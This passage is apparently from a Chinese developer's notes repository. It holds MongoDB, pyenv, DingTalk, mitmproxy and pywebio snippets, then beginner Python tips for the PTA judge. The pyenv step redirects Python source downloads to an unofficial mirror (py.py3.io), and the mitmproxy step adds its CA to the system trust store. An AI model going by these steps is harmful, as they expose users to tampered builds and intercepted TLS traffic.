mongo\r\n```\r\n\r\n安装后的连接字符串是：`mongodb://adminusername:password@ip:27017`\r\n\r\n### 增删查改\r\n\r\n#### 查询\r\n\r\n嵌套的格式用.表示 例如`{\"a.b\": \"1\"}`可以查到文档`{a:{b:\"1\"}}`\r\n\r\nPython代码：\r\n\r\n```\r\nimport pymongo\r\nclient = pymongo.MongoClient(\"mongodb://adminusername:password@127.0.0.1:27017\")\r\ntable = client.database_name.table_name\r\nprint(table.find_one({\"_id\": id}))\r\nprint(table.count_documents({}))\r\n```\r\n\r\n#### 批量增加\r\n\r\ninsert ignore into 忽略已经存在的：\r\n\r\n```\r\ntry:\r\n    table.insert_many(data, ordered=False)\r\nexcept pymongo.errors.BulkWriteError:\r\n    pass\r\n```\r\n\r\nreplace into 覆盖已经存在的：使用upcert不存在时插入\r\n\r\n```\r\nfor item in data:\r\n    # 你很可能需要自己定义_id\r\n    # item[\"_id\"] = \"_\".join([...])\r\n    # pprint(item)\r\n    table.update({'_id':item[\"_id\"]}, item, True)\r\n```\r\n\r\n#### 删除\r\n\r\n类似的有函数：delete_one, delete_many\r\n\r\n### 多表join查询\r\n\r\ntable中文档里有一个属性idB，对应tableB的_id，使用`$lookup`做join操作，无论有没有查到都会返回新的文档，没查到时dst属性为空数组\r\n\r\n所以可以用`$match`继续筛选查到的内容；然后统计数量，注意到$count在没有结果的时候不返回内容，需要单独处理\r\n\r\n```\r\ndef howmany():\r\n    pipeline = [\r\n        {\"$match\": {\"idB\": {\"$exists\": True}}}, \r\n        {\"$lookup\": {\"from\": 'tableB', \"localField\": 'idB', \"foreignField\": '_id', \"as\": 'dst'}},\r\n        {\"$match\": {\"dst\": {\"$size\": 1}}},\r\n        {\"$count\": \"cnt\"}\r\n    ]\r\n    data = list(table.aggregate(pipeline))\r\n    if not data:\r\n        return 0\r\n    return data[0][\"cnt\"]\r\n```\r\n\r\n### 随机采样\r\n\r\npipeline中使用：但是注意可能会有重复的元素 需要自己去重\r\n\r\n```\r\n{\"$sample\": {\"size\":10}}\r\n```\r\n\r\n----\r\n\r\n## 使用pyenv编译安装不同版本的Python\r\n\r\n想自己维护一个完整的虚拟环境，方便的安装各种版本，用[pyenv](https://github.com/pyenv/pyenv)呗\r\n\r\n安装：\r\n\r\n```\r\ngit clone https://github.com/pyenv/pyenv.git ~/.pyenv\r\necho 'export PYENV_ROOT=\"$HOME/.pyenv\"' >> ~/.bash_profile\r\necho 'export PATH=\"$PYENV_ROOT/bin:$PATH\"' >> ~/.bash_profile\r\necho -e 'if command -v pyenv 1>/dev/null 2>&1; then\\n  eval \"$(pyenv init -)\"\\nfi' >> ~/.bash_profile\r\n```\r\n\r\n然后就能编译安装特定版本的Python了，以3.7.0为例：使用我提供的www.python.org的镜像\r\n\r\n```\r\napt install -y libffi-dev libgnutls28-dev\r\ncd ~/.pyenv/plugins\r\nsed -i 's#www.python.org#py.py3.io#g' $(grep www.python.org -r . -l)\r\npyenv install -v 3.7.0\r\npyenv global 3.7.0\r\n```\r\n\r\n之后使用如果遇到密码学库的问题：\r\n\r\n```\r\npip uninstall pycrypto pycryptodome\r\npip install pycryptodome\r\n```\r\n\r\n----\r\n\r\n## 发送钉钉消息\r\n\r\n群聊加入机器人 关键词设置为一定会出现的字符如`.。[`，获取url后调用时只需要传入token部分\r\n\r\n```\r\nimport requests\r\ndef dingsend(token, text):\r\n    data = {\r\n        \"msgtype\" : \"text\" ,\r\n        \"text\" : { \"content\" : text },\r\n        \"isAtAll\" : False \r\n    }\r\n    return requests.post(\"https://oapi.dingtalk.com/robot/send?access_token=\"+token, json=data)\r\n```\r\n\r\n----\r\n\r\n## 使用mitmproxy\r\n\r\npython3 -m pip install mitmproxy\r\n\r\n参考： https://stackoverflow.com/questions/51893788/using-mitmproxy-inside-python-script\r\n\r\n```\r\nfrom mitmproxy.options import Options\r\nfrom mitmproxy.proxy.config import ProxyConfig\r\nfrom mitmproxy.proxy.server import ProxyServer\r\nfrom mitmproxy.tools.dump import DumpMaster\r\n\r\nimport threading\r\nimport asyncio\r\nimport time\r\n\r\nclass Addon(object):\r\n    def __init__(self):\r\n        self.num = 1\r\n\r\n    def request(self, flow):\r\n        flow.request.headers[\"count\"] = str(self.num)\r\n\r\n    def response(self, flow):\r\n        self.num = self.num + 1\r\n        flow.response.headers[\"count\"] = str(self.num)\r\n        print(self.num)\r\n\r\n\r\n# see source mitmproxy/master.py for details\r\ndef loop_in_thread(loop, m):\r\n    asyncio.set_event_loop(loop)  # This is the key.\r\n    m.run_loop(loop.run_forever)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    options = Options(listen_host='0.0.0.0', listen_port=8080, http2=True)\r\n    m = DumpMaster(options, with_termlog=False, with_dumper=False)\r\n    config = ProxyConfig(options)\r\n    m.server = ProxyServer(config)\r\n    m.addons.add(Addon())\r\n\r\n    # run mitmproxy in backgroud, especially integrated with other server\r\n    loop = asyncio.get_event_loop()\r\n    t = threading.Thread( target=loop_in_thread, args=(loop,m) )\r\n    t.start()\r\n\r\n    # Other servers, such as a web server, might be started then.\r\n    time.sleep(20)\r\n    print('going to shutdown mitmproxy')\r\n    m.shutdown()\r\n```\r\n\r\n安装proxychains:\r\n\r\n```\r\napt install proxychains4\r\n```\r\n\r\n修改/etc/proxychains.conf，最后一行改成`http 127.0.0.1 8080`\r\n\r\n添加信任：参考 https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu\r\n\r\n```\r\ncp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitm.crt\r\nupdate-ca-certificates\r\n```\r\n\r\n## pywebio+Flask 构建交互式markdown网站\r\n\r\n\r\n比较适合简单线性流程的工作，例如取代python自带的input界面\r\n\r\n```\r\nimport sys, os\r\nfrom pywebio.input import *\r\nfrom pywebio.output import *\r\nfrom pywebio.session import *\r\nfrom pywebio.platform.flask import webio_view\r\nfrom pywebio.platform import page\r\nfrom flask import Flask, session, request, redirect\r\n\r\napp = Flask(__name__)\r\n\r\nset_localstorage = lambda key, value: run_js(\"localStorage.setItem(key, value)\", key=key, value=value)\r\nget_localstorage = lambda key: eval_js(\"localStorage.getItem(key)\", key=key)\r\n\r\n@page.config(title=\"Application Title\")\r\ndef index():\r\n    run_js(\"history.replaceState({}, 'Application Title', '/index'); document.title='Application Title';\")\r\n    clear()\r\n    put_markdown(\"# Application Title\")\r\n    put_text(\"\")\r\n    data = input(\"input something:\")\r\n    put_text(\"your input: \"+data)\r\n\r\napp.add_url_rule('/', 'index', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])\r\napp.add_url_rule('/index', 'index2', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])\r\n\r\nimport webbrowser\r\nfrom threading import Timer\r\ndef open_browser():\r\n    webbrowser.open_new('http://127.0.0.1:1323/')\r\nif __name__ == '__main__':\r\n    debug = True\r\n    if \"win\" in sys.platform:\r\n        Timer(1, open_browser).start()\r\n        debug = False\r\n    app.run(host='0.0.0.0', port=1323, debug=debug)\r\n```\r\n\r\n文件上传：例如xlsx\r\n\r\n```\r\nimport openpyxl, time\r\n\r\n    f = file_upload(\"导入号码(需要按照模板填写)\", placeholder='选择Excel文件 (xlsx格式)', required=True, accept=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\")\r\n    wb = openpyxl.load_workbook(filename=BytesIO(f[\"content\"]), data_only=True, read_only=True)\r\n    data = []\r\n    for r in wb.active.rows:\r\n        item = [i.value for i in r]\r\n        data.append(item)\r\n```\r\n\r\n输出表格：\r\n\r\n```\r\nput_table(data, header=[\"Col1\", \"Col2\"])\r\n```\r\n\r\n"
  },
  {
    "path": "PythonCourse.md",
    "content": "# Python程序设计课程\r\n\r\n## 先本地测试能通过再提交\r\n\r\nPTA没有提供详细的报错，你都不知道错哪了怎么改，建议你试试本文提到的错误，记住错误信息下次遇到也就不慌了\r\n\r\n本地Python跑成功再提交提高效率，省点时间\r\n\r\n## 全角的符号\r\n\r\n```\r\na=int（input（））\r\nb=int（input（））\r\nprint(a+b)\r\n```\r\n\r\n报错：\r\n\r\n```\r\n  File \"<stdin>\", line 1\r\n    a=int（input（））\r\n                 ^\r\nSyntaxError: invalid character in identifier\r\n```\r\n\r\n看出`(`与`（`的区别了嘛，Python语言的括号要求半角的括号\r\n\r\n**解决方案： 关掉中文输入法！**\r\n\r\n## input只读取输入的一行\r\n\r\n看清楚题目，如果题目有两行输入，就需要两次input()\r\n\r\n如果题目只有一行输入，比如一行同时给了两个数空格分隔，你需要`input().split()`\r\n\r\n### 扩展一下：你可以使用`map`函数来批量调用函数\r\n\r\n用法是`map(目标函数，列表)`\r\n\r\n返回 列表每个元素调用目标函数的结果的**迭代器 iterator**，再用list可以得到列表\r\n\r\n举个例子题目要在一行中输入多个整数\r\n\r\n```\r\n# map实际上返回的是迭代器，被读到的时候才会真正调用目标函数，想得到列表还需要用list\r\n>>> map(int, input().split())\r\n222 444\r\n<map object at 0x000001D87FB4DAC8>\r\n\r\n>>> list(map(int, input().split()))\r\n222 444\r\n[222, 444]\r\n\r\n>>> a, b = map(int, input().split())\r\n333 555\r\n>>> a\r\n333\r\n>>> b\r\n555\r\n```\r\n\r\n## 不要输出任何多余的提示信息\r\n\r\n```\r\nA=int(input('被加数'))\r\nB=int(input('加数'))\r\nprint(A+B)\r\n```\r\n\r\nPTA判题就是判断你程序的输出是否 **和标准答案完全一致 完全一致 完全一致**\r\n\r\n题目没有要求你输出`被加数`这种提示信息，你就啥也别输出，不要画蛇添足！ \r\n\r\n**解决方案： 直接input()就行了**\r\n\r\n## input函数返回的是字符串\r\n\r\n别忘了把字符串转成你需要的类型，比如int()\r\n\r\n字符串加字符串是拼接， 字符串不能和整数相加\r\n\r\n```\r\n>>> \"1\"+\"2\"\r\n'12'\r\n>>> 1+2\r\n3\r\n>>> \"1\"+2\r\nTraceback (most recent call last):\r\n  File \"<stdin>\", line 1, in <module>\r\nTypeError: can only concatenate str (not \"int\") to str\r\n```\r\n\r\n## 注意类型转换的int是要调用的 和C语言不一样\r\n\r\n这是C语言的语法，Python不支持\r\n\r\n```\r\nsum = (int)x + (int)y\r\n```\r\n\r\n应该写：\r\n\r\n```\r\nsum = int(x) + int(y)\r\n```\r\n\r\n另外 不建议命名为sum，因为sum本身是Python的内置函数 你赋值了就不能再调用原来的sum函数了\r\n\r\n如果你覆盖了sum之后再去调用sum函数 会报错\r\n\r\n```\r\n>>> sum=1\r\n>>> sum([1,2])\r\nTraceback (most recent call last):\r\n  File \"<stdin>\", line 1, in <module>\r\nTypeError: 'int' object is not callable\r\n```\r\n\r\n你还可以这么做：用map和列表推导式\r\n\r\n```\r\ns = sum(map(int, [x,y]))\r\ns = sum([int(i) for i in [x,y]])\r\n```\r\n\r\n## 注意括号的匹配\r\n\r\n```\r\na,b,c=map(int,(input().split())\r\n```\r\n\r\n多了一个(， 细心一点即可 报错：\r\n\r\n```\r\nSyntaxError: unexpected EOF while parsing\r\n```\r\n\r\n## 方法是需要调用的\r\n\r\n```\r\na,b,c=input().split\r\n```\r\n\r\n末尾少了() 报错：\r\n\r\n```\r\nTraceback (most recent call last):\r\n  File \"<stdin>\", line 1, in <module>\r\nTypeError: cannot unpack non-iterable builtin_function_or_method object\r\n```\r\n\r\n## 注意缩进 不能有多余空格\r\n\r\n```\r\ns=\"Python语言简单易学\"  \r\n     print(s)\r\n```\r\n\r\n第二行多了前面的空格，会报错：\r\n\r\n```\r\n  File \"<stdin>\", line 1\r\n    print(s)\r\n    ^\r\nIndentationError: unexpected indent\r\n```\r\n\r\n-------\r\n\r\n## print的用法\r\n\r\n错误示例：\r\n\r\n```\r\nprint(sum = s)\r\n```\r\n\r\n你要站在语言开发者的角度思考，你括号里sum表示的是字面意思上的\"sum\"字符串呢还是内置的sum函数呢？语言的设计要保证没有歧义\r\n\r\n正确的写法：需要原样输出的都要加上引号！\r\n\r\n```python\r\nprint(\"sum =\", s)\r\n```\r\n\r\n这个题目要求等号两边有空格，如果没有注意到这一点会**格式错误**\r\n\r\nprint可以接受不定数量的参数，在输出的时候**每个参数之间会加上空格**，所以上述字符串里等号**右边是不写空格**的\r\n\r\n### 你还可以使用f-string\r\n\r\n上述写法可以替换成：\r\n\r\n```python\r\nprint( f\"sum = {s}\" )\r\n```\r\n\r\n注意到字符串引号前面的f，说明这个字符串是一个模板，Python遇到这个字符串会自动把s的值填进去。\r\n\r\nf-string在Python3.7里面引入，PTA是支持的，如果你的Python版本低于3.7，你可以用这些通用的写法（只是不够美观了）：\r\n\r\n```python\r\nprint(\"sum = {}\".format(s)) # 需要记清楚多个变量之间的顺序 \r\nprint(\"sum = {s}\".format(s=s)) # 每个变量都要写一遍\r\nprint(\"sum = {s}\".format(**locals())) # 直接把所有局部变量都提供给format 就不用自己写了\r\n# 如果用在函数里，你可能想输出全局变量，未完待续\r\n```\r\n\r\n### 注意引号括号的匹配，尤其是变得复杂的时候\r\n\r\n错误示例 看看引号的结束位置\r\n\r\n```\r\nprint(f'f({x:.1f}) = {1/x:.1f'})\r\n```\r\n\r\n正确的写法是\r\n\r\n```python\r\nprint(f'f({x:.1f}) = {1/x:.1f}')\r\n```\r\n\r\n## for,if,else右边都要有分号，每个分号的下一行增加缩进\r\n\r\n错误示例\r\n\r\n```python\r\nnum = float(input())\r\nif num < 0 :\r\n    print('Invalid Value!')\r\nelif num <= 50:\r\n    cost = num * 0.53\r\nprint(\"cost = %.2f\" %  cost)\r\nelse:\r\n    cost = 50*0.53+(num-50)*(0.05+0.53)\r\nprint(\"cost = %.2f\" %  cost)\r\n```\r\n\r\nelif里面的print没有缩进，else必须和elif和if平级，之间的代码必须更多缩进\r\n\r\n修改方法：去掉上面的print或者两处print都增加缩进\r\n\r\n\r\n## 继续强调 不要出现中文括号\r\n\r\n顺带强调不要在PTA里解题，先去Python IDLE或者thonny里**本地做出来再复制粘贴提交**\r\n\r\n你的每次错误提交我都会看，你反复出现同一次错误让我很烦\r\n\r\n你信不信这个错误下次作业还会出现\r\n\r\n错误示例\r\n\r\n```python\r\nif（x<0）:\r\n    print(\"Invalid Value!\")\r\n```\r\n\r\nPython的if也不需要括号，直接写就行\r\n\r\n\r\n```python\r\nif x<0:\r\n    print(\"Invalid Value!\")\r\n```\r\n\r\n## 不要出现return 0\r\n\r\n如果你一定要让程序立刻退出，用`exit(0)`，效果等价于C语言main函数里`return 0;`\r\n\r\n## 看清题目\r\n\r\n### 输入实数别用int()\r\n\r\n题目说 \r\n输入在一行中给出**实数**x\r\n\r\n你需要`float(input())`\r\n\r\n### 看清题目输入的格式\r\n\r\n比如题目输入的例子是这样的\r\n\r\n```\r\n  1,  5\r\n```\r\n\r\n你就不能用 `a,b=input().split()`\r\n\r\n而应该 `a,b=input().split(',')`\r\n\r\n也不应该两次input()，只有输入是两行的时候才能调用两次input\r\n\r\n### 看清题目的允许范围\r\n\r\n题目说 lower≤upper≤100，那么肯定就会有测试点lower等于upper，这是符合要求的 不要错误的输出了\r\nInvalid.\r\n\r\n## 复制粘贴题目的文本就行 不要自己敲\r\n\r\n自己输入就容易出错，从题目复制多简单\r\n\r\n## 不要追求一行写完\r\n\r\n```python\r\ncost = float(input())\r\nprint(\"Invalid Value!\" if m<0 else \"cost = \"+str(format(0.53 * cost + (0 if cost <= 50 else 0.05 * (cost-50)),'.2f')))\r\n```\r\n\r\n代码是给人看的，这种写法不容易看出哪里出错了，老老实实写if呗\r\n\r\n这个错误是未定义的m\r\n\r\n另外变量的命名，题目输入的是电量，与cost命名不一致，这会让读者困惑（读者很有可能就是以后的你，不要给自己挖坑）\r\n\r\n## 乘法要写乘号\r\n\r\n错误写法：`2i` 报错`SyntaxError: invalid syntax`\r\n\r\n正确写法：`2*i`\r\n\r\n错误写法：`area=sqrt(s(s−a)(s−b)(s−c))`  报错`TypeError: 'int' object is not callable`\r\n\r\n正确写法：`area=sqrt(s*(s−a)*(s−b)*(s−c))`\r\n\r\n## int用作进制转换 参数是 字符串,整数\r\n\r\n你需要给出正确的类型 否则报错：\r\n\r\n```python\r\n>>> int(\"100\",2)\r\n4\r\n\r\n>>> int(100,2)\r\nTraceback (most recent call last):\r\n  File \"<stdin>\", line 1, in <module>\r\nTypeError: int() can't convert non-string with explicit base\r\n\r\n>>> int(\"100\",\"2\")\r\nTraceback (most recent call last):\r\n  File \"<stdin>\", line 1, in <module>\r\nTypeError: 'str' object cannot be interpreted as an integer\r\n```\r\n\r\n## 字符串的join 需要每个元素都是字符串\r\n\r\n你不能`\",\".join([1,2,3])` 会报错：`TypeError: sequence item 0: expected str instance, int found`\r\n\r\n你可以先转换成str： `\",\".join([str(i) for i in [1,2,3]])`\r\n\r\n## 注意边缘情况\r\n\r\n题目说的 输出格式 要认真体会\r\n\r\n首先顺序输出从A到B的所有整数，每5个数字占一行，每个数字占5个字符宽度，向右对齐。最后在一行中按Sum = X的格式输出全部数字的和X。\r\n\r\n```\r\n   -3   -2   -1    0    1\r\n    2    3    4    5    6\r\n    7    8\r\nSum = 30\r\n```\r\n\r\n你考虑到最后一行正好凑满5个整数，你会多输出一个空行吗？\r\n\r\n另外这个题目暗含着 每行末尾不能有空格 的要求，你能用`end=' '`吗?\r\n\r\n-----\r\n\r\n## 学会自己造数据\r\n\r\n不要满足于题目给的样例，发挥主观能动性自己造数据看看，比如边界值（最大最小）、错误值\r\n\r\n## 注意输出格式对顺序的要求\r\n例如查验身份证的题目，输出格式的要求是：**按照输入的顺序**每行输出1个有问题的身份证号码\r\n\r\n那你就不能这么写两次循环，一遍输出前17位有非数字的，一遍输出校验位不对的，只能一次循环完成\r\n\r\n虽然两次循环逻辑上是对的，却没能满足题目的要求，就答案错误了；恰好题目的样例是先非数字错误再校验位错误，但这只是个样例，**样例里的规律只要人家没说一律不算数的！**\r\n\r\n## 如何判断一个字符是整数？\r\n\r\n最简单的方式： x.isdigit()\r\n\r\n也可以： '0'<=x<='9'\r\n\r\n不建议的方式： 48<=ord(x)<=57 你不是在写C语言，没必要转换为整数判断\r\n\r\n附带知识点：python里 `a<x<b`  等价于 `a<x and x<b` \r\n\r\n## 字符串比较大小是个坑\r\n\r\n这个东西是True还是False?\r\n\r\n```\r\n\"2\">\"11\"\r\n```\r\n\r\n答案是True，震惊！2居然比11大？！ \r\n\r\n注意这是两个**字符串之间的比较**，字符串的比较规则是 **逐字符比较，相同就继续比较，遇到一个不相同就得出最终的比较结论**。\r\n\r\n这里比较第一个字符2和1，2是大于1的，ok比较完成 \"2\">\"11\"。\r\n\r\n同理 \"2\">\"199999999\"，无论9有多少个都不会参与比较。\r\n\r\n举一反三：max(\"8\", \"9\", \"10\")是多少？\r\n\r\n当题目要求整数的排序的时候，一定要用int转成整数\r\n\r\n## 区分.sort()和sorted\r\n\r\n```python\r\nx=[3,1,2]\r\nfor i in x.sort():\r\n    print(i, end=' ')\r\n```\r\n\r\n上述代码正确吗？会输出`1 2 3 `嘛？\r\n\r\n.sort()返回的是None，不能用来迭代；这是一个原地排序，直接修改原数组，不会创建新的数组\r\n\r\n对于上述代码，你需要用sorted(x)；这不会修改原数组，而是创建了一个新的数组\r\n\r\n```python\r\nx=[3,1,2]\r\nfor i in sorted(x):\r\n    print(i, end=' ')\r\n\r\nprint(x)\r\n```\r\n\r\n输出是`1 2 3 [3, 1, 2]`，可以看出使用sorted不会修改原来的x\r\n\r\n## 格式化字符串们\r\n\r\n### \"%5.2f\"是啥意思\r\n\r\n```python\r\n>>> \"%5.2f\"%1.2\r\n' 1.20'\r\n>>> \"{:5.2f}\".format(1.2)\r\n' 1.20'\r\n>>> \"{:>5.2f}\".format(1.2)\r\n' 1.20'\r\n```\r\n\r\n点就是小数点，点2就是小数点后保留两位小数，前面还有一个5是啥呢，表示整体不够5位就左边用空格补齐5位，注意上述输出左边是有一个空格的。\r\n\r\n如果用format，可以看出写法基本相同，这是右对齐用`>`\r\n\r\n```python\r\n>>> \"%-5.2f\"%1.2\r\n'1.20 '\r\n>>> \"{:<5.2f}\".format(1.2)\r\n'1.20 '\r\n```\r\n\r\n加了一个负号，变成了右边补空格；这是左对齐所以用`<`\r\n\r\n### 那我要居中怎么办\r\n\r\n```python\r\n>>> \"{:^7s}\".format(\"xyz\")\r\n'  xyz  '\r\n```\r\n\r\n那就用^呗，这是按Shift+6按出来的符号\r\n\r\n### 格式化字符串想输出几个变量就要写几个\r\n\r\n```python\r\n\"{:d}{:>6.1f}\".format(fahr, celsius)\r\n```\r\n\r\n这里有两个变量要输出，所以要两个格式化字符串\r\n\r\n## Thonny的用法\r\n\r\n在上半部分写代码，改代码，按F5执行后 在下半部分Shell里输入用户的输入，查看输出\r\n\r\n不要在它的Shell里敲入代码，因为它不支持多条语句\r\n\r\n## 初始化能在循环体内吗？\r\n\r\n比如题目要求没有错误的身份证就输出All Passed!，下面的伪代码错在哪？\r\n\r\n```python\r\n对每一个身份证:\r\n    flag = 1 #1表示没错\r\n    if 身份证错了:\r\n        flag = 0 #只要有一个错了 flag置0\r\n\r\nif flag:\r\n    print(\"All Passed!\")\r\n```\r\n\r\nflag=1是一个初始化语句，放在循环里面就会导致每次循环都进行初始化，就变成了只要最后一个身份证没错最后flag就是1，你会错误的输出All Passed!\r\n\r\n**变量的初始化需要在进入循环之前做完**\r\n\r\n## 学会拆分问题 大而化小\r\n\r\n题目要求实现aa+aaaa+...+aaa……a(n个a)求和\r\n\r\n拆分成两个问题：怎么得到n个a？ 怎么循环从2到n求和？\r\n\r\n不要把这两个问题混在一起思考，如果你不知道可以用字符串乘以整数，那你可以先假设有这么一个函数getna(n, a)，累加就是：\r\n\r\n```python\r\na='5'\r\nn=4 #实际上需要input()，我们这里就直接写了 需要计算55+5555\r\n\r\ns = 0\r\nfor i in range(2, n+1, 2):\r\n    s += getna(a, i)\r\n```\r\n\r\n然后我们再去实现getna这个函数，这个函数就干一件事情——输入a和n，输出aaa...a(n个a)这么一个整数\r\n\r\n输入a='5',n=4，输出5555\r\n\r\n这次我用循环乘法，可以看成`5 + 5*10 + 5*10*10 + 5*10*10*10` 每次循环都是5乘以一个数，这个数从1开始 每次循环后乘以10\r\n\r\n```python\r\ndef getna(a, n):\r\n    # 这里我们需要a也是一个整数\r\n    a, n = int(a), int(n) #防御性编程，你不知道调用者是否给了需要的类型，反正转换一下不费事\r\n    multiply = 1\r\n    res = 0\r\n    for i in range(n):\r\n        res += a*multiply\r\n        multiply *= 10\r\n    return res\r\n```\r\n\r\n测试一下自己对不对：\r\n\r\n```python\r\n>>> getna(\"5\",4)\r\n5555\r\n```\r\n\r\n最后把两部分拼起来就行咯\r\n\r\n```python\r\ndef getna(a, n):\r\n    # 这里我们需要a也是一个整数\r\n    a, n = int(a), int(n) #防御性编程，你不知道调用者是否给了需要的类型，反正转换一下不费事\r\n    multiply = 1\r\n    res = 0\r\n    for i in range(n):\r\n        res += a*multiply\r\n        multiply *= 10\r\n    return res\r\n\r\na='5'\r\nn=4\r\n\r\ns = 0\r\nfor i in range(2, n+1, 2):\r\n    s += getna(a, i)\r\n\r\nprint(s)\r\n```\r\n\r\n当然这个题目有简化做法：\r\n\r\nn个a这个整数用 字符串乘以数字得到字符串 再int转整数`int(str(a)*int(n))`\r\n\r\n从2到n每次递增2，用range(2,n+1,2)\r\n\r\n本质上是一个列表求和，所以可以直接用sum函数，range返回的东西可以看成一个列表，**列表转换成另一个列表用列表推导式就行** 写法：[something(i) for i in ...]\r\n\r\n```python\r\na='5'\r\nn=4\r\nprint( sum([ int(str(a)*int(i)) for i in range(2,n+1,2) ]) )\r\n```\r\n\r\n## 混在一起的and和or\r\n\r\nand的优先级比or高\r\n\r\n```\r\nx=5\r\ny=False\r\nz=False\r\n\r\nprint(x or y and z)\r\n```\r\n\r\n这个等价于print(x or (y and z)) 先计算False and False是False，然后x or False因为x是真的 结果就是x\r\n\r\n输出5\r\n\r\n### a and b\r\n\r\n返回的只可能是a和b之间的一个，a是真的就返回b，a是假的就返回a\r\n\r\n```\r\n>>> 1 and 6\r\n6\r\n>>> [] and 6\r\n[]\r\n```\r\n\r\n### a or b\r\n\r\n返回的只可能是a和b之间的一个，a是真的就返回a，a是假的就返回b\r\n\r\n```\r\n>>> 1 or 6\r\n1\r\n>>> [].sort() or 6\r\n6\r\n```\r\n\r\n还记得上面说的.sort()返回None吗？ None是假的噢\r\n\r\n### 哪些东西是假的？\r\n\r\n0是假的，空的东西`'', [], {}`是假的，False是假的，None是假的，其他的都是真的\r\n\r\n搜索python False values可以搜到 https://docs.python.org/3/library/stdtypes.html\r\n\r\n> Any object can be tested for truth value, for use in an if or while condition or as operand of the Boolean operations below.\r\n\r\n> By default, an object is considered true unless its class defines either a __bool__() method that returns False or a __len__() method that returns zero, when called with the object. 1 Here are most of the built-in objects considered false:\r\n\r\n- constants defined to be false: None and False.\r\n\r\n- zero of any numeric type: 0, 0.0, 0j, Decimal(0), Fraction(0, 1)\r\n\r\n- empty sequences and collections: '', (), [], {}, set(), range(0)\r\n\r\n>Operations and built-in functions that have a Boolean result always return 0 or False for false and 1 or True for true, unless otherwise stated. (Important exception: the Boolean operations or and and always return one of their operands.)\r\n\r\n-------\r\n\r\n## 行末到底要不要输出空格\r\n\r\n方法是**复制一下题目的输出样例**，看看到底最后有没有空格\r\n\r\n## 怎样做到末尾不输出空格\r\n\r\n如果可以输出空格，简单 循环里面print(item, end=' ')就行\r\n\r\n举个例子吧，题目要求我们输出1 2 3 ，末尾要有空格\r\n\r\n用print记得end参数要写上，否则就换行了\r\n\r\n```python\r\nfor i in range(1, 4):\r\n    print(i, end=' ')\r\n```\r\n\r\n\r\n### 方案1：把要输出的东西暂时存到数组result里，最后`print(*result)`\r\n\r\n题目要求我们输出1 2 3，末尾不能有空格\r\n\r\n```python\r\nresult=[]\r\nfor i in range(1, 4):\r\n    result.append(i)\r\nprint(*result)\r\n```\r\n\r\n这里用到了符号`*`，在调用函数的时候使用星号表示把这个数组拆开，数组的每个元素都作为函数的参数\r\n\r\n假设`result=[1,2,3]`，`print([1,2,3])`会输出`[1, 2, 3]` 两边有方框 不是我们要的\r\n\r\n试试`print(*[1,2,3])` 会输出`1 2 3` 它就等价于`print(1,2,3)` \r\n\r\n看，列表的每个元素从数组的束缚中解脱出来，直接当成print的参数了！\r\n\r\n### 方案2：区分首元素和其后的元素\r\n\r\n比如要输出`1 2 3`，我们这么看待：`1/空格2/空格3`\r\n\r\n为啥这样看呢？为啥不看成是`1空格/2空格/3`呢？因为循环啥时候结束很可能是你不知道的，你就无法判断当前元素是不是最后一个。\r\n\r\n但是你一定知道哪个元素是第一个元素啊！\r\n\r\n```python\r\nisfirst=True\r\nfor i in range(1, 4):\r\n    if isfirst: # 第一个元素\r\n        print(i, end='')\r\n        isfirst=False\r\n    else: # 后续的元素 先输出一个空格\r\n        print('', i, end='') #等价于print(' '+str(i), end='')\r\n```\r\n\r\n## 如何正确地换行 print('\\n')是不行的\r\n\r\n上面我们都是在一行里输出，现在我们要开始下一行了，你很可能想`print('\\n')`\r\n\r\n这个实际上是`print('\\n', end='\\n')` 因为你没有提供end参数，end就默认是一个换行，你自己又显示了个换行，那就是两个\\n了！\r\n\r\n两个\\n！先进入下一行，再进入下一行，不就显示了一个多余的空行了嘛！\r\n\r\n解决方案：`print()`多简单\r\n\r\n## 循环初始化 放在正确的位置\r\n\r\n循环依赖的变量的初始化——一定要在循环开始之前做！不能在外面循环之前做！\r\n\r\n```\r\nt=int(input())\r\ncnt=0\r\nlst=[] #储存结果，最后一起输出\r\nfor i in range(t):\r\n    n=int(input())\r\n    mat=[]\r\n    for j in range(n):\r\n        mat.append(input().split())\r\n    for row in range(1,n):\r\n        for col in range(0,n-1):\r\n            if row>col and mat[row][col]=='0':\r\n                cnt+=1\r\n    if cnt==(n**2-n)/2:\r\n        str=\"YES\"\r\n    else:\r\n        str=\"NO\"\r\n    lst.append(str)\r\nfor z in lst:\r\n    print(z)\r\n```\r\n\r\n例如这个判断上三角的，先看这代码的本质——循环里面有循环，外层循环（range t）是多个矩阵，内层循环（row和col）用来遍历矩阵\r\n\r\n那问题来了，内层循环的cnt作用在单个矩阵里面，不同矩阵之间不能相互干扰，也就是说cnt应该在进入row循环之前初始化！把cnt=0移动到第9行之前即可\r\n\r\n再打个比方，我们要计算多个班级分别的平均分，需要对班级内的每个学生累加到sum_score，那你就需要在 进入这个班级的循环后 对班级内每个学生遍历的循环前 对sum_score 进行初始化 sum_score=0；如果你提早做了，上个班级的总分就会加入到下个班级，不合适吧\r\n\r\n```\r\nn=int(input())\r\ndata=[int(input()) for i in range(n)]\r\na=2\r\nfor i in data:\r\n    while a<i:\r\n        if i%a==0:\r\n            print('No')\r\n            break\r\n        a=a+1\r\n    else:\r\n        print('Yes')\r\n```\r\n\r\n这是另一个例子，判断素数，每个素数的判断应该是独立的，需要把a=2移动到`for i in data:`循环开始之后 `while a<i`循环开始之前\r\n\r\n简而言之：哪个循环负责这个变量，就在这个循环之前做初始化，保证外层循环互不干扰\r\n\r\n## 填空题别出现中文引号\r\n\r\n别以为别的题目文本里出现了中文引号你就能用，题目不严谨不代表你能不严谨\r\n\r\n## 怎么正确地判断素数\r\n\r\n如果你还不会，建议背下来标准答案：只要遇到需要判断素数的题目，先默写这个isPrime函数\r\n\r\n记忆口诀：1不是，2是，从2到(根号n) + 1\r\n\r\n```python\r\nimport math\r\ndef isPrime(n):\r\n    if n==1:\r\n        return False\r\n    if n == 2:\r\n        return True\r\n    for i in range(2, int(math.sqrt(n)+1)):\r\n        if n%i==0:\r\n            return False\r\n    return True\r\n```\r\n\r\n不要把素数判断的代码和其他代码混在一起，求求你写个函数吧！ 写了函数之后你可以自己调用函数去测试啊，如图所示，我写了之后就会自己构造一些数据去测试。 **测试  测试 